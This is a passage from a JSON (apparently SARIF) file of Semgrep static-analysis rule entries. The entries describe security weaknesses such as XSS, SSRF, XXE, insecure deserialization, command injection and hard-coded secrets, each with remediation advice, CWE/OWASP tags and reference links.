`escapeHtml` off, will open the code up to XSS vectors."},"helpUri":"https://semgrep.dev/r/typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","id":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","name":"typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.react-markdown-insecure-html.react-markdown-insecure-html"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled)\n - [https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/](https://www.projectatomic.io/blog/2016/03/dwalsh_selinux_containers/)\n - [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)\n","text":"Service '$SERVICE' is explicitly disabling SELinux separation. This runs the service as an unconfined type. Remove 'label:disable' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","id":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","name":"yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.selinux-separation-disabled.selinux-separation-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","id":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","name":"javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-github-token.hardcoded-github-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"help":{"markdown":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string)\n - [https://bugs.python.org/issue43472](https://bugs.python.org/issue43472)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Found user controlled content in `run_string`. This is dangerous because it allows a malicious actor to run arbitrary Python code."},"helpUri":"https://semgrep.dev/r/python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","id":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","name":"python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.dangerous-subinterpreters-run-string.dangerous-subinterpreters-run-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"help":{"markdown":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval)\n - [https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen](https://docs.python.org/3/library/logging.config.html?highlight=security#logging.config.listen)\n","text":"Because portions of the logging configuration are passed through eval(), use of this function may open its users to a security risk. While the function only binds to a socket on localhost, and so does not accept connections from remote machines, there are scenarios where untrusted code could be run under the account of the process which calls listen(). To avoid this happening, use the `verify()` argument to `listen()` to prevent unrecognized configurations."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.logging.listeneval.listen-eval","id":"python.lang.security.audit.logging.listeneval.listen-eval","name":"python.lang.security.audit.logging.listeneval.listen-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.logging.listeneval.listen-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"help":{"markdown":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n","text":"The preceding call to `$SOURCE` can return a negative value when an error is encountered. This can lead to an out-of-bounds array access and possible memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","id":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","name":"cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.negative-return-value-array-index.negative-return-value-array-index"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"help":{"markdown":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this DocumentBuilderFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature \"http://apache.org/xml/features/disallow-doctype-decl\" to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features \"http://xml.org/sax/features/external-general-entities\" and \"http://xml.org/sax/features/external-parameter-entities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.documentbuilderfactory-disallow-doctype-decl-missing.documentbuilderfactory-disallow-doctype-decl-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"help":{"markdown":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n","text":"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."},"helpUri":"https://semgrep.dev/r/python.lang.security.deserialization.pickle.avoid-cPickle","id":"python.lang.security.deserialization.pickle.avoid-cPickle","name":"python.lang.security.deserialization.pickle.avoid-cPickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.deserialization.pickle.avoid-cPickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","id":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","name":"java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.tainted-ssrf-spring-format.tainted-ssrf-spring-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"help":{"markdown":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n","text":"Detected use of xmlrpc. xmlrpc is not inherently safe from vulnerabilities. Use defusedxml.xmlrpc instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","id":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","name":"python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xmlrpc.use-defused-xmlrpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret)\n - [https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/](https://semgrep.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","id":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","name":"python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.jwt-hardcode.jwt-python-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Do not use `math/rand`. Use `crypto/rand` instead."},"help":{"markdown":"Do not use `math/rand`. Use `crypto/rand` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#secure-random-number-generation)\n","text":"Do not use `math/rand`. Use `crypto/rand` instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.math_random.math-random-used","id":"go.lang.security.audit.crypto.math_random.math-random-used","name":"go.lang.security.audit.crypto.math_random.math-random-used","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.math_random.math-random-used"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Secret Access Key detected"},"help":{"markdown":"AWS Secret Access Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Secret Access Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","id":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","name":"generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-secret-access-key.detected-aws-secret-access-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","id":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","name":"python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.log.tainted-log-injection-stdlib-django.tainted-log-injection-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run)\n - [https://deno.land/manual/examples/subprocess#simple-example](https://deno.land/manual/examples/subprocess#simple-example)\n","text":"Detected non-literal calls to Deno.run(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","id":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","name":"javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.deno.security.audit.deno-dangerous-run.deno-dangerous-run"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"help":{"markdown":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/app_service#http2_enabled)\n","text":"Use the latest version of HTTP to ensure you are benefiting from security fixes. Add `http2_enabled = true` to your appservice resource block"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","id":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","name":"terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2","properties":{"precision":"very-high","tags":["CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.appservice.appservice-enable-http2.appservice-enable-http2"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases. If this wasn't intentional, it's recommended to set the HttpOnly flag to true so the cookie will not be accessible through client-side scripts. This approach ensures session cookies are secure by default. It is also possible to use the flask-talisman extension to enforce a secure configuration."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","id":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","name":"python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-cookie-app-config-httponly-false.flask-cookie-app-config-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","id":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","name":"python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-pandas-pickle-fastapi.tainted-pandas-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"help":{"markdown":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing)\n - [https://www.npmjs.com/package/serve-index](https://www.npmjs.com/package/serve-index)\n - [https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/](https://www.acunetix.com/blog/articles/directory-listing-information-disclosure/)\n","text":"Directory listing/indexing is enabled, which may lead to disclosure of sensitive directories and files. It is recommended to disable directory listing unless it is a public resource. If you need directory listing, ensure that sensitive files are inaccessible when querying the resource."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","id":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","name":"javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing","properties":{"precision":"very-high","tags":["CWE-548: Exposure of Information Through Directory Listing","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-check-directory-listing.express-check-directory-listing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-url.mysql-connection-url)\n - 